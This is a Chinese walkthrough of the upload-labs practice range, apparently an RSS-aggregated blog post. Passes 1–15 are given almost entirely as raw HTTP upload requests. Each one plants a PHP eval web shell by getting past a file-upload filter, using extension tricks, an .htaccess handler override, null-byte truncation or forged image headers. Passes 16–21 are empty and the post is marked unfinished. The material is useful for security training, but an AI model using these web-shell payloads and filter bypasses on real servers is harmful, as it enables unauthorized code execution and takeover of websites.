【靶场】upload-labs通关攻略
57uv6Z6g
·
2026-07-06
·
via 6Jyc5p+a
前言
upload-labs通关攻略
Pass-01
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-01/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
Pass-02
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-02/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php"
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
Pass-03
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-03/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.phtml"
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/upload/201601021504050000.phtml建立连接
Pass-04
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-04/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: octet-stream
SetHandler application/x-httpd-php
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-04/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.txt"
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
Pass-05
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-05/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.PHP"
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/upload/201601021504050000.PHP建立连接
Pass-06
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-06/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php ."
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/upload/201601021504050000.PHP建立连接
Pass-07
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-07/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php."
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
Pass-08
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-08/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php::$DATA"
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/upload/201601021504050000.PHP建立连接
Pass-09
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-09/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.php. ."
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
Pass-10
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-10/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.pphphp"
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
Pass-11
request1
2
3
4
5
6
7
8
9
10
11
12
13
| POST /Pass-11/index.php?save_path=../upload/x.php%00
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
Pass-12
0：这里的0需要将10进制的30改为16进制的00
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| POST /Pass-12/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="save_path"
../upload/x.php0
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
Pass-13
GIF
00：将16进制的30 30改为16进制的47 49
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /Pass-13/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif
00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/include.php?file=upload/201601021504050000.gif建立连接
JPEG
00：将16进制的30 30改为16进制的FF D8
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /Pass-13/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpeg"
Content-Type: image/jpeg
00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/include.php?file=upload/201601021504050000.jpeg建立连接
PNG
00：将16进制的30 30改为16进制的89 50
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /Pass-13/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png
00
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/include.php?file=upload/201601021504050000.png建立连接
Pass-14
GIF
0000：将16进制的30 30 30 30改为16进制的47 49 46 38
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /Pass-14/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif
0000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/include.php?file=upload/201601021504050000.gif建立连接
JPEG
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /Pass-14/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpeg"
Content-Type: image/jpeg
FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/include.php?file=upload/201601021504050000.jpeg建立连接
PNG
00000000：将16进制的30 30 30 30 30 30 30 30改为16进制的89 50 4E 47 0D 0A 1A 0A
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /Pass-14/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png
00000000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/include.php?file=upload/201601021504050000.png建立连接
Pass-15
GIF
0000：将16进制的30 30 30 30改为16进制的47 49 46 38
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /Pass-15/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.gif"
Content-Type: image/gif
0000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/include.php?file=upload/201601021504050000.gif建立连接
JPEG
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /Pass-15/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.jpg"
Content-Type: image/jpeg
FF D8 FF C0 00 11 08 00 01 00 01 03 01 11 00 02 11 00 03 11 00 FF D9
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/include.php?file=upload/201601021504050000.jpg建立连接
PNG
00000000：将16进制的30 30 30 30 30 30 30 30改为16进制的89 50 4E 47 0D 0A 1A 0A
request1
2
3
4
5
6
7
8
9
10
11
12
13
14
| POST /Pass-15/index.php
Content-Type: multipart/form-data;
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="upload_file"; filename="x.png"
Content-Type: image/png
00000000
<?php eval($_REQUEST["x"]); ?>
------WebKitFormBoundaryXXXXXXXXXXXXXXXX
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryXXXXXXXXXXXXXXXX--
|
- 与
/include.php?file=upload/201601021504050000.png建立连接
Pass-16
request
Pass-17
request
Pass-18
request
Pass-19
request
Pass-20
request
Pass-21
request
未完待更
参考文献
CSDN——不会码字的笨蛋奶妈
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。
